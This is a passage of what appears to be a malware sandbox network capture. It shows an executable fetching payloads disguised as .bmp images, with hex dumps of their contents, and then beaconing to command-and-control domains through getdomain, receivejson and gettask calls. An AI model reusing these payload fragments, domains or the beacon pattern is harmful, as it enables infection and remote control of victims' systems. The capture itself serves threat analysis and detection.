cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c [TRUNCATED] Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+\|\|x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=\|z<2A <=T(t-jK<z>Uu>a"-,7\Qk'#PG[H;}h}ix!sVN8G&_#]J_g]G,f
Aug 27, 2024 09:49:35.455481052 CEST	1236	IN	Data Raw: e6 52 4a 96 de f4 55 2f 87 04 f5 77 df 64 b2 b2 cf 7f db 8e e0 a3 c6 bc f2 d8 76 d0 2d a3 8a 92 84 92 1d 04 c3 21 d5 41 3d 5c 5c 55 6e db e0 06 fc 85 66 0c f1 90 1a 88 35 63 60 37 93 5b 01 d5 74 bb 3a a9 99 4a 31 1f 93 12 2f 48 56 f1 b2 b3 25 aa Data Ascii: RJU/wdv-!A=\\Unf5c`7[t:J1/HV%6IIBej">($\|:Wb.wAxBMX}bpk055^%wC ua}:?u!j[0;!BidiF2T2mgC}R.2J7
Aug 27, 2024 09:49:35.455497980 CEST	1236	IN	Data Raw: 3c a5 4a 7f 2f 8e 72 df 6e ac 75 3e 67 55 0e a7 3b f5 2f 91 20 bb f7 4b d4 ca dd ce 1f 20 92 23 b8 3c f4 25 31 11 a8 5d ab ac 68 ea 27 da 48 b8 6c 98 73 b8 95 b5 85 26 bf d9 58 2a c2 66 8c 74 56 0a 6b 37 95 54 eb 8c 0f 4f 2b 78 c4 38 0a fe 9f 3c Data Ascii: <J/rnu>gU;/ K #<%1]h'Hls&X*ftVk7TO+x8<nt_/!bBI)1d+s:jYE%kS^4v]\`;^t3msXW[U>^O)jA5/MMg~L+iv 'MP!H(F
Aug 27, 2024 09:49:35.455511093 CEST	1236	IN	Data Raw: 65 83 66 eb 78 14 b0 3c 8e 7c d7 9a 29 6c 14 a9 7a d8 e5 fd d3 34 1c 17 a8 c7 07 e7 45 af 95 47 bc 69 48 a9 a9 d0 be de b2 e1 95 af 2c 1a a5 20 b5 67 27 a5 e9 28 10 a8 5e 1b da 47 92 6e 8c c9 f8 70 86 57 63 7b a3 be 01 e5 bb 6c 47 3c 31 92 ee 71 Data Ascii: efx<\|)lz4EGiH, g'(^GnpWc{lG<1q;9*IOH>9l_41"5_1A}u5v\s~qN4{+uZN2vuRsK}>cMuWo8?v`O,3$T2\|yg$&'
Aug 27, 2024 09:49:35.455523968 CEST	896	IN	Data Raw: 8f 6b 18 23 7b 7b c7 01 8c b5 fd c5 b2 f3 ba b7 02 e3 3f 76 ec 02 54 1f 66 ca 6c 0b 7c 91 46 07 43 fe 5e c2 f0 cb a7 11 c9 de 27 19 e8 99 ba 1a 57 0a c5 56 47 e1 f9 8c 87 24 77 ed 3e a1 b6 fa a3 31 59 e0 dc d7 31 00 18 32 86 90 ea 94 6b cb 89 25 Data Ascii: k#{{?vTfl\|FC^'WVG$w>1Y12k%^VZAPwcA6!k)5%ZRKK2%M,9!-d{Tk5^aC$J1="%&T=k/RT^"k-E:b5GwEk4*Juv8
Aug 27, 2024 09:49:35.455538034 CEST	1236	IN	Data Raw: 89 0b 4c 01 7d 14 ab b4 0b c2 8b 8e 62 8e 71 e9 30 fc f4 72 05 b4 62 f0 15 14 00 68 38 38 ef 36 16 a8 17 51 26 8a 9e 71 33 a1 ff 2e de e0 36 f3 bc e1 40 ab d5 25 1f 17 dd 6d ab 44 f0 81 62 87 93 14 b8 af bf 23 53 ed 4a d2 b3 79 51 45 26 ea f3 7f Data Ascii: L}bq0rbh886Q&q3.6@%mDb#SJyQE&K*eGV&EM%np}~P{1`5%Cf;"eY^mZp#`KG+c#]h]Ti=]>l!?,vE-fp
Aug 27, 2024 09:49:35.455569983 CEST	1236	IN	Data Raw: 09 9b e8 0d 1c 36 b0 b3 bf 86 a8 8f 53 12 d1 89 5f 8b a5 c9 93 43 94 84 71 50 60 c4 e8 0e ae f3 aa fa cd 8a 8a 09 5b f4 9b 7a 92 8c d3 2d 9b a1 10 6d 78 53 5e 3b 1e a6 0e 62 52 70 02 1d 6a 7e 9c 2b 4d 9d ee 50 80 65 5c 34 5e ee 0a 3b 08 0e f2 af Data Ascii: 6S_CqP`[z-mxS^;bRpj~+MPe\4^;a1nC_!p]BJ"I0$^#iszT?E 0$'#}vwD9AEQ;R"?UwoX9f5 X v`@0-u-mD
Aug 27, 2024 09:49:35.455580950 CEST	1236	IN	Data Raw: 53 b2 b2 f1 6b 5b 49 9d 33 66 5b e4 db 1d 4d 5b 4b 6a 97 83 54 f3 2f 63 9e c4 b2 b1 b5 08 9d 06 8b 1b 20 66 90 2a c4 28 74 d9 4a de 7e b1 d2 6d 08 95 75 69 9d 73 79 1d 9b db c0 4c f3 1b 76 a0 68 81 f7 11 ff fe b2 86 d5 47 30 33 8f 4c 77 e8 0d e8 Data Ascii: Sk[I3f[M[KjT/c f*(tJ~muisyLvhG03Lw9XmcYOE5M +/+62gb}bs6OykwboP'&xcWKLY1?@$bdJMRzG=w8ahL'I[y%H
Aug 27, 2024 09:49:35.455593109 CEST	1236	IN	Data Raw: 8e 42 8e f0 5f 07 45 60 ca d1 a0 0e 8c fa 49 bd 82 d9 af f9 a1 2f e7 9b 2a 68 d2 93 c5 77 f5 c1 4a a3 50 bb ef b6 05 9b f3 78 bd b1 dc c7 77 e7 e5 fd 7c 33 30 1e 05 97 c2 49 a7 b5 27 82 43 3f f1 6f 4b fc 68 da f0 a4 5a 15 12 ba 37 31 a4 a7 b6 e2 Data Ascii: B_E`I/*hwJPxw\|30I'C?oKhZ71Ac>6u;sow )JCUS!Yi]u,09S)_r=n$fL45v}%dmNCeS6:(=%$R3f^8\`x!(y"@IeB,DnBQ?Du
Aug 27, 2024 09:49:35.455610991 CEST	1236	IN	Data Raw: 7a f3 a6 ae ba 2e 23 5a 06 93 7a 4d 24 ba 0e 89 1d 63 0b 1f 5a 66 31 ab 18 33 1c 2d 85 76 e8 4a 65 be 53 29 34 7d 88 19 2a 0c a9 53 b4 cc 4a 28 f5 ca 3f 26 58 c9 be c8 61 6c 4e 3a 5e 07 8c 7b 1f ed 43 b3 8f 9e fd 6c 03 19 b1 de d6 a9 94 b2 2e db Data Ascii: z.#ZzM$cZf13-vJeS)4}*SJ(?&XalN:^{Cl.#gPUVot,!f_\|v'N]-`4XJwxTkj&'Qm^q)Avo9;Zpo7&i^hFDc[]q?uH
Aug 27, 2024 09:49:35.456203938 CEST	1236	IN	Data Raw: 3c 47 f8 b6 bc 50 21 ae a7 6b 1d b7 67 b8 33 9b bb 67 c8 ba 41 f6 17 d1 e3 6f da 77 6e 38 e7 e8 05 2f 91 a2 d7 50 76 3e 87 7a 06 6f ee c2 6f 2a 92 4e d5 a5 75 83 b3 cf 81 d0 9f 9c 89 6a 1d ab ce f5 43 e0 6d 73 7c f6 00 bb 82 4e b8 3b 87 5a 11 29 Data Ascii: <GP!kg3gAown8/Pv>zoo*NujCms\|N;Z)}i$BvJIxObdAjoo 14:_#g:U><cHs8Fvl<x>hzdgy"oPVc.\|HH;4Uv#/;xik'Y
Aug 27, 2024 09:49:41.133941889 CEST	117	OUT	HEAD /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:41.236068010 CEST	694	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:41 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 430 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G%2BIQBT9fKIYyJz%2FeOOZH2Qz%2ByksyDoJydvEW9axvV1wUIdbn98xUNWCFnT8yrmHBtBBpCoG3euMJoGzcOBIS09BfVxLMzh16QrmRLYNj%2BGalWKXxGWdLs7bk%2BvJBs5ma8HLV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77646da242e8-EWR alt-svc: h3=":443"; ma=86400
Aug 27, 2024 09:49:41.236726046 CEST	116	OUT	GET /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:41.338432074 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:41 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 430 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iedFG6t81OaKJq4mPYe2JVe%2BdZlPEpzyVnhd3QjGcRpYfQKU8WFdYTLOqUSTwVJNmLC76HE%2F2qe6%2Bvsh4%2FxhaNdrBuchWJeiv3c7EgvnFCGLKdB7YVnQaD2BQ28aVRpWAbnP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77650e0542e8-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d 76 de 12 00 00 00 00 00 36 00 00 00 28 00 00 00 2c 02 00 00 2c 02 00 00 01 00 20 00 00 00 00 00 40 de 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 52 90 00 64 08 00 00 63 08 00 00 98 f7 00 00 df 08 00 00 67 08 00 00 27 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 97 08 00 00 69 17 ba 0e 67 bc 09 cd 46 b0 01 4c aa 29 54 68 0e 7b 20 70 15 67 67 72 06 65 20 63 06 66 6e 6f 13 28 62 65 47 7a 75 6e 47 61 6e 20 23 47 53 20 0a 67 64 65 49 05 0d 0a 43 08 00 00 67 08 00 00 9a 88 c4 41 de e9 aa 12 de e9 aa 12 de e9 aa 12 b1 9f 34 12 ea e9 aa 12 b1 9f 00 12 46 e9 aa 12 b1 9f 01 12 f1 e9 aa 12 d7 91 29 12 dd e9 aa 12 d7 91 39 12 cf e9 aa 12 de e9 ab 12 04 e9 aa 12 b1 9f 05 12 ff e9 aa 12 b1 9f 31 12 df e9 aa 12 b1 9f 30 12 df e9 aa 12 b1 9f 37 12 df e9 aa 12 35 61 63 68 de e9 aa 12 67 08 00 00 67 08 00 00 37 4d 00 00 2b 09 05 00 52 1c b7 66 67 08 00 00 67 08 00 00 87 08 02 21 6c 09 0a 00 67 b6 0a 00 67 38 09 00 67 08 00 00 43 55 08 00 [TRUNCATED] Data Ascii: BMv6(,, @*Rdcg'ggggggggigFL)Th{ pggre cfno(beGzunGan #GS gdeICgA4F)91075achgg7M+Rfgg!lgg8gCUgggggbgbgg8gge@gggggwA>g8?gggggHgggggggg? 'gggggggggI\|
Aug 27, 2024 09:49:43.243474960 CEST	117	OUT	HEAD /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:43.345062971 CEST	691	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:43 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 430 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bIJL2xfuzkFVuOSs97cnHHt2Pz5EN%2FnIN63gWbUWrsFFb8vAbc8LcR2ErRNU1WaIMyyS0aUyfzgR6xcDuPVnkBC9sD8hXQvRD9OroxogcO4Dcwplpmf%2BmRbf%2F%2FA04mvNCi9N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77719bf842e8-EWR alt-svc: h3=":443"; ma=86400
Aug 27, 2024 09:49:43.345628977 CEST	116	OUT	GET /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:43.446289062 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:43 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 430 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B1RGDRfFX8oFlDUK6MEjiytxfnxHsZ2mK%2B4Nijo%2B4uBawbbmSBMFgtf0fxtdTqW%2BPwLdEZ5TuxAkKXKak3YJjoqrxxh3oNSyrGrybFZfhJhNXy71nMcaCL4K%2FChFojaKrCYP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77723c3242e8-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d de b2 08 00 00 00 00 00 36 00 00 00 28 00 00 00 7a 01 00 00 79 01 00 00 01 00 20 00 00 00 00 00 a8 b2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 08 00 00 67 50 55 89 82 81 c2 05 98 03 00 00 e6 ca ff b1 6f 08 68 05 67 08 00 68 63 08 00 00 35 60 ab 74 8d 51 50 e8 62 08 00 00 e4 cc 14 c9 a4 89 ec 14 66 08 00 53 32 5e 57 6a 0c 50 6a 65 01 81 84 24 ab 08 00 00 54 e5 58 6a 15 51 6a 6e 3c 62 6c 5a 0d 3b 66 89 e3 2c ce 00 67 08 66 89 e3 2c d4 00 67 08 58 6a 55 6e 89 84 43 d0 00 00 67 50 6a 2e 01 81 84 24 bd 08 00 00 3f 62 64 66 ee 8c 24 dc 67 08 00 58 ee a4 24 b0 67 08 00 89 0b 2c 34 89 cb 2c b8 00 67 08 89 ac 43 cc 00 00 67 81 ac 24 d3 08 00 00 ee a4 24 ac 67 08 00 89 cb 2c e0 00 67 08 66 89 eb 2c cc 00 67 08 66 89 fb 2c ce 00 67 08 66 89 f3 2c d2 00 67 08 66 89 e3 2c da 00 67 08 66 89 f3 2c dc 00 67 08 66 89 f3 2c de 00 67 08 c6 44 43 34 53 88 33 2c 3d 66 a0 4c 24 3e 02 6d c6 44 43 48 70 66 a0 4c 24 50 2b 67 c6 44 43 5a 61 88 23 2c 53 66 a0 4c 24 54 2b 61 c6 44 43 5e 62 88 2b 2c 57 c6 [TRUNCATED] Data Ascii: BM6(zy gPUohghc5`tQPbfS2^WjPje$TXjQjn<blZ;f,gf,gXjUnCgPj.$?bdf$gX$g,4,gCg$$g,gf,gf,gf,gf,gf,gf,gDC4S3,=fL$>mDCHpfL$P+gDCZa#,SfL$T+aDC^b+,W#,XaD$YD$=qAfL$D1aLCNf#,GtD$.iTCBDCCA3,L3,MfL$Nkf#,\VL$9nDCWtuL$aT$D$XLClDCmotkDCat,gF,gCg}sh.$$\|Cg$kti$gomY,gLCeLC\|LCqC

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	104.21.17.45	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:02 UTC	281	OUT	POST /api.php/common/getdomain HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 18 Host: cacer.goldenh0ur.com
2024-08-27 07:50:02 UTC	18	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 43 55 30 3d Data Ascii: A0TxZkW19VWhYOCU0=
2024-08-27 07:50:02 UTC	734	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XB4POdOxFbep%2FfMblYSwJqtJmkpFVTn9tCglDDzxIv7RC8Gh%2FP3sRmr0mP7VS1NMQO46FmOoZdKTnMXE5WXIkiBRDWBsvAZH2ihPtWSuDFlQEMjU0g%2B4SFYkKscuM%2BXyoKZSwIZlEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77e87b844299-EWR alt-svc: h3=":443"; ma=86400
2024-08-27 07:50:02 UTC	48	IN	Data Raw: 32 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 2c 22 44 6f 6d 61 69 6e 22 3a 22 6d 76 63 2e 77 69 74 68 6f 75 74 79 6f 75 35 2e 63 6f 6d 22 7d 0d 0a Data Ascii: 2a{"Token":1,"Domain":"mvc.withoutyou5.com"}
2024-08-27 07:50:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49717	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:03 UTC	283	OUT	POST /api.php/common/receivejson HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 482 Host: mvc.withoutyou5.com
2024-08-27 07:50:03 UTC	482	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 42 67 67 49 48 42 5a 38 57 31 64 5a 58 49 46 6f 46 67 34 57 43 52 45 47 47 67 6b 43 45 42 6f 47 47 68 41 57 48 42 61 41 57 30 64 45 65 6c 6c 64 56 52 59 4f 46 67 55 51 43 42 45 4a 42 78 59 63 46 6e 74 6e 67 56 70 53 57 78 59 4f 46 68 35 39 59 56 64 47 57 30 64 62 55 6b 51 59 59 32 46 61 56 46 74 44 52 78 67 4a 43 42 68 6f 52 6c 73 43 42 42 31 57 59 55 52 51 41 67 51 57 48 42 5a 48 57 31 4a 45 51 31 6c 47 56 52 59 4f 46 6d 4e 68 57 6c 52 62 51 30 63 59 64 46 56 53 56 56 70 55 56 55 59 57 48 42 5a 58 53 45 56 72 58 57 42 4f 46 67 34 57 67 56 70 45 56 56 77 67 5a 69 45 59 64 31 74 47 56 53 42 6b 66 53 45 47 47 48 64 6f 5a 52 67 43 41 67 67 49 47 48 67 59 42 68 6f 45 43 42 68 7a 67 45 34 57 48 42 5a 5a 56 30 52 68 51 Data Ascii: A0TxZkW19VWhYOBggIHBZ8W1dZXIFoFg4WCREGGgkCEBoGGhAWHBaAW0dEelldVRYOFgUQCBEJBxYcFntngVpSWxYOFh59YVdGW0dbUkQYY2FaVFtDRxgJCBhoRlsCBB1WYURQAgQWHBZHW1JEQ1lGVRYOFmNhWlRbQ0cYdFVSVVpUVUYWHBZXSEVrXWBOFg4WgVpEVVwgZiEYd1tGVSBkfSEGGHdoZRgCAggIGHgYBhoECBhzgE4WHBZZV0RhQ
2024-08-27 07:50:04 UTC	696	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AFKL0UMK0a%2Fhfj1UI9tGNS4BWTeqR72BLwQO%2B3n3DTsC8YDowF5cuI%2B3fCrLD8TYXD3sj5TfKf3TCUklJVBfp2jMSP9Pa0JfWh2BNSWHGgo50w1xXGvK1axinIC7s8NvvQS41kQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77f1ed1b4388-EWR
2024-08-27 07:50:04 UTC	56	IN	Data Raw: 33 32 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 61 36 69 34 6f 63 74 34 6a 34 69 39 6b 6f 62 35 32 6e 30 70 63 6f 32 76 66 6d 22 7d 0d 0a Data Ascii: 32{"Token":5,"message":"a6i4oct4j4i9kob52n0pco2vfm"}
2024-08-27 07:50:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49718	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:05 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:05 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 43 45 30 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CCE0=
2024-08-27 07:50:05 UTC	546	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=faeJeEDbwEPeRZaqvHcEv5Tat1Hp5XckwlOdRBQpPStSVC0Is18UoN%2FLB3%2FKxlq%2FTBHTtzZqtqjASbSy2e%2FXZZmqZW6tY9VuRGG9xCM%2BXFAv6NxXtNKZsnP082XA9q7b%2FZpMYZc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77fa4e0f42a5-EWR
2024-08-27 07:50:05 UTC	46	IN	Data Raw: 32 38 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 54 61 73 6b 53 6c 65 65 70 22 3a 36 7d 0d 0a Data Ascii: 28{"Token":117,"message":"","TaskSleep":6}
2024-08-27 07:50:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49719	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:14 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:14 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:50:15 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqvxbPE4K2aqUMAZWT%2BIyXFSxVaii7de9mnO7NP3f8MNS3QB7KjyBpzvid4GdFu1yMmJE9N7OyDv16nNAXzUTgBOirD4fBi687pb9U9wmBIHODuk5k37%2B5%2Bh5VeAMBDpzqrVYIg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a78349b024380-EWR
2024-08-27 07:50:15 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:23 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:23 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:50:24 UTC	542	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=31VuVDtsC%2BSAAQBmq75ZWLztVGRP3hES6hQCRnCyzNSg9qbOtQYNiUt2jkzFJtadARG9Uei1sS7TM8FAyhkSPOs3OXcEls4UjqCQS%2FMRio0hmQ3Q%2FLQq%2FKwwPdjXhb7t8kwt3xs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a786e3f6c78dc-EWR
2024-08-27 07:50:24 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49721	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:31 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:31 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
